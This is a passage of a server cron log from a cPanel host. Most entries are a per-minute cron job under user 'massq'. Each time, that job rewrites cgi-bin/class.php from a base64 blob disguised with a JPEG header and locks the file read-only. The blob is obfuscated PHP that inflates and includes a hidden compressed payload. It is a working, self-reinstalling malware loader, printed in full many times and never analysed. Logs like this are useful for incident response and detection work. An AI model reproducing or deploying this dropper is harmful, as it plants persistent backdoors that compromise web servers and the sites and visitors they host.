| base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:28:01 server CROND[24357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:29:01 server CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:29:01 server CROND[24748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:29:01 server CROND[24749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:30:01 server CROND[25240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:30:01 server CROND[25241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:30:01 server CROND[25242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:30:01 server CROND[25244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:30:01 server CROND[25249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:30:01 server CROND[25243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:30:01 server CROND[25247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:30:01 server CROND[25246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:31:01 server CROND[26080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:31:01 server CROND[26081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:31:01 server CROND[26082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:32:01 server CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:32:01 server CROND[26470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:32:01 server CROND[26471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:33:01 server CROND[26916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:33:01 server CROND[26917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:33:01 server CROND[26918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:34:01 server CROND[27301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:34:01 server CROND[27302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:34:01 server CROND[27303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:35:01 server CROND[27696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:35:01 server CROND[27698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:35:01 server CROND[27701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:35:01 server CROND[27705]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 02:35:01 server CROND[27706]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:35:01 server CROND[27708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:35:01 server CROND[27702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:35:01 server CROND[27707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:35:01 server CROND[27710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:36:01 server CROND[28634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:36:01 server CROND[28635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:36:01 server CROND[28636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:37:01 server CROND[29016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:37:01 server CROND[29018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:37:01 server CROND[29017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:38:01 server CROND[29403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:38:01 server CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:38:01 server CROND[29407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:39:01 server CROND[29789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:39:01 server CROND[29790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:39:01 server CROND[29792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:39:01 server CROND[29791]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 02:40:01 server CROND[30185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:40:01 server CROND[30188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:40:01 server CROND[30189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:40:01 server CROND[30191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:40:01 server CROND[30193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:40:01 server CROND[30192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:40:01 server CROND[30190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0